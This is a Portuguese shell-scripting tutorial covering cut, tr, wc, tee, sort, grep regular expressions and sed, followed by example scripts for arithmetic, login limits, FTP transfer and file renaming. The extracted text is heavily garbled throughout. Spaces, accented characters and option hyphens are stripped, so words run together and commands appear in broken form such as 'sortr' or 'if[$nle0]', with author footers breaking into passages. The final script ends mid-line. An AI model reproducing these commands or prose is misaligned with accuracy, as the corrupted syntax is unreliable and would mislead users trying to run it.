FTP
DAEMON
C0MB4T
BIN
ADM
Ocomandotr,substituasletrasde'a'a'z'por'A'at'Z'.
Pronto,aquiestalistadeusuriosemordemalfabticainversa,emletrasmaisculas.
Masquetaljogarmosasuasadanumarquivochamadousurios?
root@c0mb4t:/#catetc/passwd|cutd:f1|sortr|trazAZ>/usuarios
Ocomando>gravaemarquivo.assimo>/usuariosgravaosaida,quenolugarde
jogarnatela,elajogaparaumarquivoquechameide/usuarios.
Paravisualizaroarquivo,digitamosconformejvisto:
root@c0mb4t:/#cat/usuarios
UUCP
SYNC
SHUTDOWN
ROOT
OPERATOR
NOBODY
NEWS
MYSQL
MAIL
LP
HALT
GDM
GAMES
FTP
AdbeelGoesFilho
ShellScripts99
DAEMON
C0MB4T
BIN
ADM
Pronto.Agoravocjtemseuarquivodeusurios.:)
Outrocomandomuitointeressanteequesempreusamosemconjuntoocomando
grep.Essecomandopegaasadadeumcomandoeimprimetatelaapenasalinhaoqualcontmo
contedodesejado.
root@c0mb4t:/#catetc/passwd|grepc0mb4t
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
root@c0mb4t:/#catetc/passwd|grepbash
root:x:0:0::/root:/bin/bash
operator:x:11:0:operator:/root:/bin/bash
mysql:x:27:27:MySQL:/var/lib/mysql:/bin/bash
gdm:x:42:42:GDM:/var/state/gdm:/bin/bash
c0mb4t:x:1000:100:c0mb4t,,,:/home/c0mb4t:/bin/bash
2. wc
Contacaracteres,palavraselinhasemarquivos.
Sintaxe:
wc[cwl][arquivo...]
Exemplos:
$wcc<cadastro
$wcwtexto1
$wcl/etc/passwd
Opes:
cContaonmerodecaracteres
wContaonmerodepalavras
lContaonmerodelinhas
Pordefault,ocomandosemopo,apresentaasadacomastrsopes.
As opes podemserutilizadas emconjunto.Aordemdasopes vaideterminaraordem de
apresentaodasadadocomando
3. tee
Utilizadoparagerarduassadassimultneas.
Sintaxe:
$tee[a][arquivo]
AdbeelGoesFilho
ShellScripts100
Exemplos:
$ls|teearquivo|sort
$ls|teeaarquivo|sort
Ocomandoteeldaentradapadroegeraumasadapadroeoutraemumarquivoespecificado.A
opoautilizadaparaadicionaremumarquivojexistente.
4. sort
Classificae/ouintercalaarquivostexto.
Sintaxe:
sort[opes]arquivo
$sort<cadastro
$sortnt:+2</etc/passwd
$sortdcadastro
Ocomandosortpoderosoeflexvel.Aslinhasdeumarquivooucamposdoarquivopodemser
classificadosdediversasmaneiras.Algumasopesdocomandosort:
rInverteosentidodaclassificao
fIgualaletrasmaisculaseminsculasnacomparao
nIndicaqueacomparaodeveserdevalornumrico
uEliminaaslinhascomchavesduplicadas
tXIndicaqueocaracterXodelimitadordecampos
mExecutaaintercalaodearquivosjclassificados
+posiposfIndicachavedeclassificao,posiaposioinicialeposfaposiofinal
oarqIndicaquearqserasadadocomando
Exemplos:
Considerandooarquivocadastrocomoscamposcdigo,nomeecep:
00006Jose20000010
00003Maria20000015
00005Antonio20000009
00002Pedro20000002
00004Carlos20000002
00001Zelia20000011
Classificaocrescentedocampocdigo:
$sort+0.00.5cadastro
Classificaoinversadocamponome:
AdbeelGoesFilho
ShellScripts101
$sortr+0.50.15cadastro
Classificaocrescentedocampocepetambmdocamponome
$sort+0.200.28+0.50.15cadastro
Considerandooarquivo/etc/passwd,quepossuiodelimitadordecampo:
Classificaocrescentepornomedeusurio,gerandoasadanoarquivosaida.srt
$sortosaida.srtt:+01/etc/passwd
Classificaoporgrupoetambmpornome
$sortt:n+34+01/etc/passwd
5. grep
AgorateremosumbrevetutorialsobreoGrep.Elenosomenteumdoscomandos
maisteis,masoseudomnioabreportasparadominaroutrospoderososcomandos,comoosed
(quetrataremosnaprximaaula),awk,perl,etc.Eufizumaadaptao/modificaodeumtutorial
queeutenho,eporsinalexcelente,sobreoGrepeExpressesRegularesem
ingls.Esperoquetenhaficadolegalevocsgostem.
Oqueelefaz?
Ogrepbasicamentefazbuscas.Maisprecisamente:
greppalavrafileretornatodasaslinhasdoarquivofilequecontenhampalavra.
Outrojeitodeusarogrepatravsdepipe(lembramdospipes?).
Porexemplo:
ls|greppalavra
Listatodososarquivosquecontenhampalavraemseunome.Ouseja,aentradadogrepumalista
dearquivos(geradapelols)queserfiltrada,sendoimpressassomenteaslinhasquecontenham
palavra.
Usandocaracterescoringas
Suponhoquetodossaibamoquesocaracterescoringas.Casocontrrio,coringasso
caracteresespeciaisquesubstituemoutros.Geralmenteocaracter"*"umcoringaquesignifica
"qualquercaracteremqualquerquantidade".Porissoseagenteexecutar"ls*",onde"*"entrano
lugardo"nomedoarquivo",significandoqualquerstringdequalquertamanho.Porissoelelista
todososarquivos.
Masagoravoltemosaogrep.Serqueeleaceitacoringas?Arespostamaisdoque
sim.Ogrepsuportaalgoquevaialmdecoringas,elesuportaExpressesRegulares.Masvamos
comearapenascomcoringas.Umdosmaisusadoscomogrepo"."
Vamosaumexemplo:
AdbeelGoesFilho
ShellScripts102
>catfile
>grepb.g
file
big
big
badbug
badbug
bigger
bigger
boogy
Notequeboogynocasa,desdeque"."significa"qualquereapenasumcaracter".Para
significarstringsarbitrriasutilizamos"*",quefuncionadaseguintemaneira:
"Aexpressoconsistindodeumcaracterseguidoporum*casacomqualquernmero(inclusive
zero)derepetiesdessecaracter.Emparticular,".*"significaqualquerstring."
Paracompreendermosvamosamaisexemplos:
>catfile
big
badbug
bag
bigger
boogy>grepb.*gfile
big
badbug
bag
bigger
boogy>grepb.*g.File
bigger
boogy>grepggg*file
bigger
Avanandoparaexpressesregulares
Oscoringassoocomeo,masaidiavaimaislonge.Porexemplo,suponhaque
queremosumaexpressoquecasecomFredericSmithouFredSmith,ouseja,astring"eric"
opcional.Primeiro,introduzimosoconceitodeum"caracterescapado(escapedcharacter)".
"Umcaracterescapadoumcaracterprecedidoporumabarrainvertida(\).Essabarrainvertida
fazoseguinte:(a)Removequalquersignificadoespecialdocaracter.(b)acrescentaumsignificado
especialaumcaracterquenotenhaumsignificadoespecial."
Parececomplicado,masvejanosexemploqueumtantoquantosimples:
Paraprocurarumalinhacontentootexto"hello.gif",ocomandocorretoseria:
grep'hello\.gif'file
Desdeque"grep'hello.gif'file"iriaresultarlinhascontendo:hellogif,hello1gif,
AdbeelGoesFilho
ShellScripts103
helloagif,etc. Ouseja,abarrainvertidaremoveosignificadoespecialdo".",passandoessea
significar um simples ponto ao invs de um coringa. Agora vamos passar para expresses
agrupadas,afimdeencontrarumjeitodecriarumaexpressoquecasecomFredericouFred.
Primeirovamoscomearcomooperador"?":
"Umaexpressoconsistindodecaracterseguidoporumainterrogaoescapada(\?)casacomzero
ouumainstnciadaquelecaracter".
Exemplo:
"bugg\?y"casacomoseguinte:bugy,buggymasnocombugggy
virtvs@mucuripe:~$echobugy|grep"bugg\?y"bugy
virtvs@mucuripe:~$echobugggy|grep"bugg\?y"
virtvs@mucuripe:~$
Agoravamosparaexpressesagrupadas.Nonossoexemplo,queremostornaropcionalastring
"eric"aps"Fred",ouseja,noapenasumcaractermassimumconjuntodecaracteres(string).
"Umaexpressodentrodeparntesesescapadostratadacomoumnicocaracter"
Exemplos:
"Fred\(eric\)\?" Smith casa com "Fred Smith" or "Frederic Smith" \(abc\)* casa com abc ,
abcabcabc,etc(isto,qualquernmeroderepetiesdastring"abc",incluindozero).
Note que temos que tomar cuidado quando nossas expresses contm espaos em
branco.Quandoelesaparecem,precisamoscolocaraexpressoentreaspas,paraqueo shell no
interpretemalnossocomando.Paraoexemploacima:
grep"Fred\(eric\)\?Smith"file
Euaconselhofortementeasempreusaraspas,mesmoquenousemosespaosem
brancos.Jtivemuitadordecabeaporqueexpressesecomandosnofuncionavamsimplesmente
pornoestarementreaspas.Umdosexemploacima(odobugg\?y)no
funcionanomeusistemasenoestiverentreaspas.Veja:
virtvs@mucuripe:~$echobugy|grep"bugg\?y"
bugy
virtvs@mucuripe:~$echobugy|grepbugg\?y
virtvs@mucuripe:~$
Outrosoperadoresteis
Paracasaralgumcaracterdeumalista,use[]Veja:
"[Hh]ello"casacomlinhascontendo
"hello"ou"Hello"
Faixasdecaracterestambmsopermitidos:
AdbeelGoesFilho
ShellScripts104
[03]omesmoque[0123]
[ak]omesmoque[abcdefghijk]
[AC]omesmoque[ABC]
[ACak]omesmoque[ABCabcdefghijk]
Existemtambmalgumasformasalternativas:
[[:alpha:]]omesmoque[azAZ]
[[:upper:]]omesmoque[AZ]
[[:lower:]]omesmoque[az]
[[:digit:]]omesmoque[09]
[[:alnum:]]omesmoque[09azAZ]
[[:space:]]casacomqualquerquantidadedeespaos,
inclusivetabulaes
Essasformasalternativas,como[[:digit:]]prefervelaomtododireto,[09].
Os[]podemserusadoparaindicarcaracteresqueNOdevemestarnaexpresso.
scolocarosinal^naprimeiraposiodalista.Veja:
virtvs@mucuripe:~$echohello|grep"[Hh]ello"
hello
virtvs@mucuripe:~$echohello|grep"[^Hh]ello"
virtvs@mucuripe
Outroexemplo,umpoucomaiscomplicado:
grep"([^()]*)a"fileretornaqualquerlinhacontendoumpardeparentesseguidopor"a"equeNO
contenhamoutrosparntesesdentro.Assim,elecasacomessaslinhas:
(hello)a
(aksjdhaksjdka)a
Masnocom:x=(y+2(x+1))a
CasandocomumnmeroespecificoderepetiesSuponhaquevocqueiracasarum
nmeroespecficoderepetiesdeumaexpresso.Umbomexemplosonmerosdetelefones.
Vocpodeprocurarporumnmerodetelefonecomsetedgitos,
assim:
grep"[:digit:]\{3\}[]\?[:digit:]\{4\}"file
Ouseja,trsdgitos,opcionalmenteumespaoouumhfenemais4
dgitos.
Procurandoporcomeoefimdelinha:Issomuitointeressante.Digamosquevoc
queiraprocurarporlinhasquecontendoespaosembrancosnocomeodalinha,apalavrahelloe
entoofimdalinha.Vamoscomearcomeste
exemplo:
>catfile
hello
helloworld
hhello
AdbeelGoesFilho
ShellScripts105
>grephellofile
hello
helloworld
hhello
Issonooquensqueremos.Oqueesterrado?Oproblemaqueogrepprocura
porlinhascontendoastringhelloetodasaslinhasespecificadascontemela.Paracontornarisso,
introduzimososcaracteresdecomeoefimdelinha:
"Ocaracter^significacomeodelinhaeo$significafimdalinha"
Retornandoaonossoexemplo:
grep"^[[:space:]]*hello[[:space:]]*$"file
Ouseja,ocomeodalinha,qualquerquantidadedeespaoembranco(inclusivezero),
apalavrahello,qualquerquantidadedeespaoembrancoeofimdalinha.Essaexpressofazoque
agentequer,retornandosomentealinhaquecontmapalavrahello.Outroexemplo:
grep"^From.*Alex"/var/spool/mail/neo
Procuranomeuinboxpormensagensdeumapessoaemparticular(nocaso,Alex).
Essetipodeexpressoregularextremamentetilefiltrosdeemail,comooprocmail,utilizam
issoparafazeremtudo.
IssoouAquilo:ProcurandoumacoisaOUoutra:
"AexpressoconsistindodeduasexpressesseparadaspelooperadorOU\|casalinhascontendo
umadasduasexpresses"
NotequevocDEVEcolocaraexpressodentrodeaspassimplesouduplas:
grep"cat\|dog"filecasacomlinhascontendo
apalavra"cat"oua
palavra"dog"
grep"Iama\(cat\|dog\)"casacomlinhas
contendoastring"Iam
acat"ouastring"Iamadog".
Usandobackreference(refernciaanterior)
Digamosquevocqueiraprocurarstringsquecontenhamumasubstringemmaisde
umlugar.UmexemploastagsdecabealhosdeHTML.Suponhaqueeuqueiraprocurarpor
"<H1>algumastring</H1>".Istofcildesefazer.Massuponhaqueeuqueirafazeromesmo,mas
permitaH2H3H4H5eH6nolugardeH1.Aexpresso<H[16]>.*</H[16]>noboa,desde
quecasacom"<H1>algumastring</H3>"enosqueremosqueatagdeaberturasejaigualade
fechamento.Parafazermosisso,usamosbackreference:
"Aexpresso\nondenumnmero,casacomocontedodonsimoconjuntodeparntesesna
AdbeelGoesFilho
ShellScripts106
expresso".
Nossa...issorealmenteprecisadeumexemplo!!!!
<H\([16]\)>.*</H\1>fazoquenosqueramosfazeracima...
"OSenhor\(dog\|cat\)easenhora\1foramvisitaroSenhor\(dog\|cat\)easenhora\2"
Esseoutroexemplobobo.Oscasaistemsemprequeseremiguais.Ouumcasalde
cachorrooudegato.
Algunsdetalhescruciais:caracteresespeciaiseaspasCaracteresEspeciais:
AquinsdescrevemososcaracteresespeciaisparaRegExp(expressesregulares)nogrep.Noteque
no"egrep",queusaexpressesregularesestendidas(atualmentenotemnenhumafuncionalidadea
maisqueasexpressesregularesnormaisdoGNUgrep),alistadecaracteresespeciaissoos
mesmos,diferindosomentequealgunsnoprecisarestar"escapados".Osseguintescaracteresso
consideradosespeciais,eprecisamestarescapados:
?\.[]^
$
Notequeosinalde$perdeseusentidosetivercaracteresdepoisdele,domesmojeito
queosinal^perdeseusentidosetivercaracteresantesdele.Oscolchetes[]comportamseum
poucodiferente.Abaixosegueasregrasparaeles:
?O colchete direito( ] ) perdeseusentidoespecialsecolocadonocomeodeumalista, por
exemplo:"[]12]"casacom],1,
or2.
?Umhfenperdeseusignificadoespecialsecolocadoporltimo.Assim,[15]casacom1,5ou
?Ocaracter^perdeseusentidosenoforcolocadoemprimeirolugar.
?Amaioriadoscaracteresespeciaisperdemseusignificadoespecialseforemcolocadosdentrode
colchetes.
Aspas:
Emprimeirolugar,aspassimplessomaissegurasdeusarporqueelasprotegemsuas
expresses regulares de serem alteradas pelo bash (como foi visto nas aulas anteriores). Por
exemplo, grep "!" file vaiproduzir umerro, j queo shell pensa que "!" est sereferindo ao
comandodehistricodoshell,enquantogrep'!'filefuncionaperfeitamente.
Quandovocdeveusaraspassimples?Aresposta:sevocprecisausarvariveisdo
shell,useaspasduplas.Casocontrrio,useaspassimples.Porexemplo:
grep"$HOME"file
Procuraemfilepelonomedoseudiretriopessoal,enquantogrep
'$HOME'fileprocurapelastring$HOME.
Sintaxedasexpressesregularesestendidas
Agoravamosverasintaxedoegrepemcontrastecomasintaxedogrep.Ironicamente,
apesar do nome"estendido", oegrepatualmente tem menos funcionalidadedoquequando foi
criado,paramanteracompatibilidadecomotradicionalgrep.Amelhormaneiradefazerumgrep
estendidoutilizargrepEqueusaasintaxedeexpressesregularesestendidassemperdade
funcionalidade. Bom, espero que vocs tenham tido uma boa idia de como funcionam as
expressesregulares.Elassoextremamenteimportante,principalmenteparautilizarogrepeo
AdbeelGoesFilho
ShellScripts107
poderosssimosed,doqualtrataremosnaprximaaula.Nosepreocupemseestiveremconfuso
comasexpresses,quandocomearemautilizlas,asidiasvoclareando.
AdbeelGoesFilho
ShellScripts108
6. sed
Falaremosagorasobreosed.Valelembrarquedaremosumabreveintroduoaosed,
ajudandoosiniciantesaentendercomoelefunciona.Portantomuitoscomandosmaiscomplexos
seroomitidos,jqueserianecessrioumlivrointeiroparaensinartudosobreoSed.Masnose
preocupem,ensinaremososuficientesobreeleparautilizaoemshellscript.
ResumodeRegExp
Vamosaumresumosobreasexpressesregulares,explicadasnaaulaanterioreagoraaplicadasao
sed:
^
casacomocomeodelinha
$
casacomofimdelinha
.
casacomqualquercaractersimples(apenasum)
(caracter)*
casacomqualquerocorrncia,emqualquerquantidade,de(caracter)
(caracter)?
casacomzeroouumaocorrnciade(caracter)
[abcdef]
casacomqualquercaracterdentrodos[](nestecaso,abcdeouf),
faixasdecaracterescomo[az]
sopermitidas.
[^abcdef]
casacomqualquer caracter NO includoem[](nestecaso,qualquer
caracterquenosejaabcdeouf)
(caracter)\{m,n\}
casacommnrepetiesde(caracter)
(caracter)\{m,\}
casacommoumaisrepetiesde(caracter)
(caracter)\{,n\}
casacomnoumenos(tambmzero)repetiesde(caracter)
(caracter)\{n\}
casacomexatamentenrepetiesde(caracter)
\(expresso\)
operadordegrupo.
\n
Backreference
casacomonsimogrupo
expresso1\|expresso2 casacomexpresso1ouexpresso2.FuncionacomoGNUsed,masessa
caractersticapodenofuncionarcomoutrosSeds.
CaracteresEspeciais
Oscaracteresespeciaisnosedsoosmesmodogrep,comumadiferena:abarra
normal / um caracter especial no sed. A razo disso ficar clara mais para frente quando
estudarmososcomandosdosed.
Comofunciona:Umabreveintroduo
Osedfuncionaassim:eleldaentradapadro,umalinhadecadavez.Paracadalinha,
eleexecutaumasriedecomandosdeedioeentoalinhaescritanasadapadro.Umexemplo
quemostracomoelefunciona:Nsusamosocomando"s",quesignifica"substitute"(substituir)ou
"searchandreplace"(procuraretrocar).
Oformato:
s/expressoregular/textosubstituto/{flags}
AdbeelGoesFilho
ShellScripts109
Nsnovamosdiscutirtodasasflagsainda.Anicaqueusamosabaixoa"g",que
significa"substituatodasasocorrncias":
>catfile
Eutenhotrscachorrosedoisgatos
>sede's/cachorros/gatos/g'e
's/gatos/elefantes/g'file
Eutenhotrselefantesedoiselefantes
OK,entooqueaconteceu?Primeiroosedleualinhadoarquivo
"file"eexecutou:
s/cachorros/gatos/g
queproduziuoseguintetexto:
Eutenhotrsgatosedoisgatos
eentoosegundocomandofoiexecutadonalinhajeditadaeresultou:
Eutenhotrselefantesedoiselefantes
Nsatualmentedamosumnomeparaotexto(geralmenteumalinha)queosedleue
est processando (editando): ele chamase "pattern space" (uma boa traduo seria "rea de
edio").Osedldaentradapadroejoganasuareadeedio,executandonelaumaseqnciade
comandosdeedioeentoeleescreveoresultadonasadapadro.
ComandosdeSubstituioeDeleo
Primeiro,asmaneirasmaisusuaisdosedaseguinte:
>sede'comando1'e'comando2'e
'comando3'arquivo
>{comandoshell}|sede'comando1'e
'comando2'
>sedfsedscript.sedarquivo
>{comandoshell}|sedfsedscript.sed
Ento,osedpodelerdoarquivooudaentradapadro,eoscomandospodemserespecificadosem
umarquivodescriptounalinhadecomando.Essearquivo,chamadosedscript.sedumarquivo
quecontmtodososcomandosdosed,aoinvsdeseremespecificadosnalinhadecomando.Esses
sed'sscriptssoteisquandoprecisamosdeumprocessamentodetextomaiscomplexoerefinado.
Noteoseguinte:seoscomandossolidosdeumarquivo(sedscript),espaosembrancopodemser
fatais.Elespodemfazeroscriptfalharsemexplicaoaparente.Eurecomendoeditarosarquivosde
comandosdosedcomumeditorcomooVIMquepodemostrarofinaldalinhaevocpodeverse
existemespaosembrancoentreoscomandoseofimdalinha.
ComandodeSubstituio
Oformatoparaocomandodesubstituiooseguinte:
AdbeelGoesFilho
ShellScripts110
[endereo1[,endereo2]]s/procura/substituto/[f
lags]
Asflagspodemserasseguinte:
ntrocaansimaocorrncia
(nalinha)do
texto"procura"por"substituto"
gtrocatodasasocorrncias(nalinha)dotexto"procura"por"substituto"
pimprimea"readeedio"paraasadapadroseocorrerumasubstituiocomsucesso
warquivoimprimea"readeedio"paraarquivoseocorrerumasubstituiocomsucesso
Se nenhuma flag for especificada, somente a primeira ocorrncias na linha
substituda.Notequensquasesempreusamosocomando"s"oucomaflag"g"ousemnenhuma
flag. Se um endereo dado, ento a substituio aplicada a linhas que contenham aquele
endereo.Umendereopodeserouumaexpressoregulardentrodebarrasnormais/regexp/,ou
umnmerodelinha.Osmbolo$podeserusadonolugardonmerodalinhaparadenotaraltima
linha.
Sedoisendereossofornecidos,separadosporumavrgula,entoasubstituio
aplicadaatodasaslinhasentreduaslinhasquecasamcomosendereosfornecidos. Istorequer
algumesclarecimento.Maisprecisamente,asubstituioocorreemtodasaslinhasdesdeaprimeira
ocorrnciade"endereo1"ataprimeiraocorrnciade"endereo2".
Nosepreocupeseissotudoparecemeioconfuso.Osexemplosvoesclarecermelhor.
OcomandodeDeleo
Asintaxedessecomandomuitosimples.Aivai:
[endereo1[,endereo2]]d
Istodeletaocontedoda"readeedio"(seestacasarcomosendereosfornecidos).Todosos
comandosseguintesseropulados(jquenoanadaafazercomumareadeedioembranco)e
umanovalinhaserlidaejogadanareadeedioetodooprocessoserepete.
Exemplos:
Exemplo1:
>catfile
Ogatopretofoicaadoporumcachorromarrom.
>sede's/preto/branco/g'file
Ogatobrancofoicaadoporumcachorromarrom.
Exemplo2:
>catfile
Ogatopretofoicaadoporumcachorromarrom.
AdbeelGoesFilho
ShellScripts111
Ogatopretonofoicaadoporumcachorromarrom.
>sede'/no/s/preto/branco/g'file
Ogatopretofoicaadoporumcachorromarrom.
Ogatobranconocaadoporumcachorromarrom.
Nestecaso,asubstituioaplicadasomentealinhasquecasamcomaexpressoregular"/no/".
Portanto,elanoaplicadaaprimeiralinha,poisestanocontemapalavra"no".
Exemplo3:
>catfile
linha1(um)
linha2(dois)
linha3(trs)
Exemplo3a:
>sede'1,2d'file
linha3(trs)
Exemplo3b:
>sede'3d'file
linha1(um)
linha2(dois)
Exemplo3c:
>sede'1,2s/linha/LINHA/'file
LINHA1(um)
LINHA2(dois)
linha3(trs)
Exemplo3d:
>sede'/^linha.*um/s/linha/LINHA/'e
'/linha/d'file
LINHA1(um)
3a:Estefoibemsimples:Nsapenasdeletamosaslinhasde1at2
3b:Istotambmfoisimples:Nsdeletamosalinha3.
3c:Nesteexemplo,nsfizemosumasubstituionaslinhas1at2.
3d:Agoraestemaisinteressanteemerecealgumasexplicaes.
Oprimeirocomandovaiprocurar"^linha.*um"esubstituir"linha"por"LINHA",ou
seja,somenteaprimeiralinhacasacomessaexpressoregular.Osegundocomandodizparaosed
deletar linhas que contenham a palavra "linha". Assim, somente as duas ltimas linhas sero
AdbeelGoesFilho
ShellScripts112
deletadas,jqueaprimeiratevepalavra"linha"substitudapor"LINHA".
Exemplo4:
>catfile
ol
Estetextosercortado
ol(tambmserretirado)
ReTiRaDoTambm!!!
tchau
(1)Estetextonofoiapagado
(2)nemeste...(tchau)
(3)nemeste
ol
masesteser
eestetambm
eamenosquensencontremosoutrotch*u
cadalinhaatofinaldotextoser
apagada
>sede'/ol/,/tchau/d'file
(1)Estetextonofoiapagado
(2)nemeste...(tchau)
(3)nemeste
Istomostracomooendereamentofuncionaquandodoisendereossoespecificados.
Osedencontraoprimeirocasamentodaexpresso"ol"edeletatodasaslinhaslidasnareade
edio at ele encontrar a primeira linha que contm a expresso "tchau" (est tambm ser
apagada).Elenoaplicamaisocomandodedeleoparanenhumalinhaatencontrarnovamentea
expresso"ol".Desdequeaexpresso"tchau"noocorremaisemnenhumalinhasubseqente,o
comandodedeleoaplicadoatofinaldotexto.Resumindo,simples:Quandoeleencontrao
primeiro endereo ("ol") ele passa a executar os comandos at encontrar o segundo endereo
("tchau")ouofimdotexto.Eissoserepeteatacabarotexto.
Exemplo5:
>catfile
http://www.kernel.org/
>sede
's@http://www.kernel.org@http://www.metalab.un
c.edu@'file
http://www.metalab.unc.edu/
Notequensusamosumdelimitadordiferente,@paraocomandodesubstituio.O
sedpermite diversosdelimitadoresparaocomandodesubstituio,incluindo@%,;:Esses
delimitadoresalternativossobonsparasubstituiesqueincluemstringcomonomedearquivose
outrasquecontmbarranormal/,oquetornaocdigodosedmuitomaislegvel.
AdbeelGoesFilho
ShellScripts113
MaisalgunscomandosAquiveremosmaisalgunscomandossobreosed,amaioria
deles mais complexos. Dependendo da aplicao em que vocs forem usar o sed, dificilmente
usaro esses recursos, a menos que precisem de um processamento de texto mais refinado e
complexo.Vejaqueelessomuitousadonosscriptsdosed(noconfundacomshellscript).
BackreferencenoSed
Umadascoisaslegaissobrebackreferencenosedquevocpodeusarnoapenasem
procuradetextosmastambmnasubstituiodetextos.
OcomandoQuit
Ocomandoquitou"q"muitosimples.Elesimplesmenteterminaoprocessamento.
Nenhumaoutralinhalidaparaareadeedioouimpressanasadapadro.
Subrotinas
Nsagoraintroduzimosoconceitodesubrotinasnosed:
No sed, as chaves { } so usadas para agrupar comandos. Elas so usadas dessa
maneira:
endereo1[,endereo2]{comandos}
Exemplo:Encontrarumapalavradeumalistanumarquivo
Esteexemplofazumbomusodosconceitosdescritosacima.Paraisto,nosusamosum
shellscript,desdequeoscomandossomuitolongoseprecisaramosescreveralongastringX
vriasvezes.Notequeusamosaspasduplas,jqueavarivel$Xprecisaserexpandidapeloshell.A
sintaxepararodaressescript:"scriptarquivo",onde"script"onomedadoaoscripte"arquivo"
onomedoarquivoaprocurarumapalavradalista.
#!/bin/sh
X='word1\|word2\|word3|\word4|\word5'
sede"
/$X/!d
/$X/{
s/\($X\).*/\1/
s/.*\($X\)/\1/
q
}"$1
Umanotaimportante:tentadorpensarque:
s/\($X\).*/\1/
s/.*\($X\)/\1/
redundanteetentarencurtlapara:
AdbeelGoesFilho
ShellScripts114
s/.*\($X\).*/\1/
Masistonofunciona.Porque?Suponhaquetemosalinha:
word1word2word3
Nsnotemoscomosaberse$Xvaicasarcomword1,word2ouword3,entoquando
nscitamosele(\1),nsnosabemosquaisdostermosestsendocitado.Oqueestsendousado
paracertificarsequenohproblemasnacorretaimplementao,isto:
"Ooperador*guloso.Ouseja,quandohambigidadesobrequal(expresso)*podecasar,ele
tentarcasaromximopossvel."
Entonesteexemplo,s/\($X\).*/\1/,.*tentaengoliromximodalinhapossvel,em
particular,sealinhacontmisso:
"word1word2word3"
Entonspodemostercertezaque.*casacom"word2word3"eportanto$Xseria
word1.Nosepreocupemsenoentenderammuitobemestetpico.Elecomplicadomesmoe
pouco usado. O importante entender como ele funciona, o uso de regexp e do comando de
substituioedeleo.Paramaioresinformaessobreosed,dumaolhadanasuamanpage:
"mansed".Esperoquevocstenhamgostadodessepequenotutorialsobresed.
LinguagensComplementares
AWK
Exemplo:exibiraterceira,quartaenonacolunasdosaidadeumcomando
lsl/home/satis|awk'{print$3,$r,$9}'
PHP
AdbeelGoesFilho
ShellScripts115
Capitulo6.Bibliografia
ADBEEL
Goes,Adbeel.ProgramaoShellScript.VIRTVSEngenhariaeInformtica
Ltda.Fortaleza,Outubrode2001.
ALEX
Borro,Alex.TutorialdeShellScript
RRM2000
JULIO
Neves,JlioCezar.ProgramaoShellLinux,3Edio,EditoraBrasport,
ISBN8574521183
SAADE
Saade,Joel.BASHGuiadeConsultaRpida,EditoraNovatec,ISBN85
75220063
AdbeelGoesFilho
ShellScripts116
Capitulo7.ApndiceAEndereosInternet
1
Guiafocalinux
http://www.focalinux.org
AdvBashScrHOWTO
http://www.linuxdoc.org
ProgramaodeShellScripts
http://unsekurity.virtualave.net/txts/shscript.txt
UNIXBourneShellProgrammin http://www.torget.se/users/d/Devlin/
shell
BashFAQ
ftp://ftp.cwru.edu/pub/bash/FAQ
BashReferenceManual
http://www.gnu.org/manual/bash2.02/bashref.html
BourneAgainSHellHomePage
http://cnswww.cns.cwru.edu/~chet/bash/bashtop.html
Underlinux
http://sh.underlinux.com.br
ExpressesRegulare
http://guiaer.sourceforge.net
10
sedHOWTO
http://verde666/sed
11
ProgramaoemShellScript
http://www.jonathas.com.br/manual
shell
.txt
12
UNIXPowerTools
http://docs.online.bg/OS/unix_power_tools/index.htm
13
Linux:ProgramaoShell
http://www.brasport.com.br
14
VerdadeAbsoluta
http://www.absoluta.org
15
Wargames
www.pulltheplug.com
www.hackerslab.org
16
Listadediscussonacionalsobre http://br.groups.yahoo.com/group/shellscript
ShellScript
17
Dicas
http://www.semlimites.com.br/informatica/informatica_
software_sistemasoperacionais_unix_linux.shtm
18
IBMAIX
http://www.ibm.com
19
UnixPerguntaserespostas
http://www.klingon.com.br/unix/unix.html
20
IntroduoaoUnix
http://www.nicke.fenixnet.ccom.br/unix.html
21
AdbeelGoesFilho
ShellScripts117
Capitulo8.Anexos
AdbeelGoesFilho
ShellScripts118
1. Exemplos
7.
Matemtica
Somadennmerosnaturais
#!/bin/sh
clear
echo"Qualonmero?"
readn
soma=0
forw_iin$(seq1$n);
do
soma=$(expr$soma+$w_i)
done
echo"Asomados$nprimeirosnmerosnaturais$soma"
exit0
Fatorial
#!/bin/sh
clear
readp"Qualonmeroparaoclculodofatorial?"n
if[$nle0];
then
echo"Noexistefatorialdenmeronegativo"
exit1
fi;
fatorial=1
forw_iin$(seq1$n);
do
fatorial=$[$fatorial*$w_i]
done
echo"Ofatorialde$n$fatorial"
exit0
AdbeelGoesFilho
ShellScripts119
8.
Acesso
Comoterapenasumloginporusurio
#!/bin/sh
#vi/usr/bin/login_unico
VAR=`who|cutc18|trd"\040"|grepn"^\'echo$LOGNAME\`$"|wcl`
if[$VARgt1]&&[$LOGNAME="root"]
then
echoMENSAGEMDELOGININVALIDO
sleep10
exit
fi
#chmod755login_unico
#vi/etc/profile
...
ComorepetirosltimoscomandosnoUnix
Arquivodecontrole:$HOME/.sh_history
Totaldecmds.........:171(emmedia)
Ativacao.................:setovi
Shellresponsvel.....:ksh
Incluaocomandodeativaonoarquivo$HOME/.profile.
Incluirnoarquivo/etc/passwd:
......usuario:senha:nr_usuario:grupo:comentario:dir_trabalho:/bin/ksh
ParamostrareexecutarosltimoscomandostecleESCape"k"
TransfernciadearquivosemredesTCP/IP(ScriptShell)
Crieno/usr/binumarquivochamadoenviaeoutrorecebecomosseguintescontedos:
Arquivoenvia:
#!/bin/sh
a=$1
shift
ftpi$a>$HOME/ftp.log<<EOF
bin
mput$*
quit
EOF
Arquivorecebe:
#!/bin/sh
a=$1
shift
ftpi$a>$HOME/ftp.log<<EOF
AdbeelGoesFilho
ShellScripts120
bin
mget$*
quit
EOF
Troqueaspermissesdosarquivospara:
#chmod755/usr/bin/envia/usr/bin/recebe
#chownroot/usr/bin/envia/usr/bin/recebe
#chgrproot/usr/bin/envia/usr/bin/recebe
Sintax:
#enviamachinearquivoou
#recebemachinearquivo
9.
Conversodeletrasmaisculasparaminsculas
#!/bin/bash
#renomeiaarquivosquetenhamnomeemmaiusculasparaoequivalenteemminusculas
[$#lt1]&&{
echo"***Erro:vocprecisapassarosarquivosquequerrenomear"
echo"Uso:Mminusculasarquivo1[arquivoN]"
exit
}
#reparequeoforaseguirnaotemo"inlistadeargumentos"!
formaiuscula
do
[e"$maiuscula"]||{
echo"$maiusculanoexiste,continuandocomoprximoarquivo"
continue
}
minuscula=$(echo$maiuscula|trAZaz)
mv$maiuscula$minuscula
done
10.
Backup
#!/bin/bash
#OBS.:Porfavormelhoreestescript!:)
#Seonmerodeparmetrosformenorque2...
[$#lt2]&&{
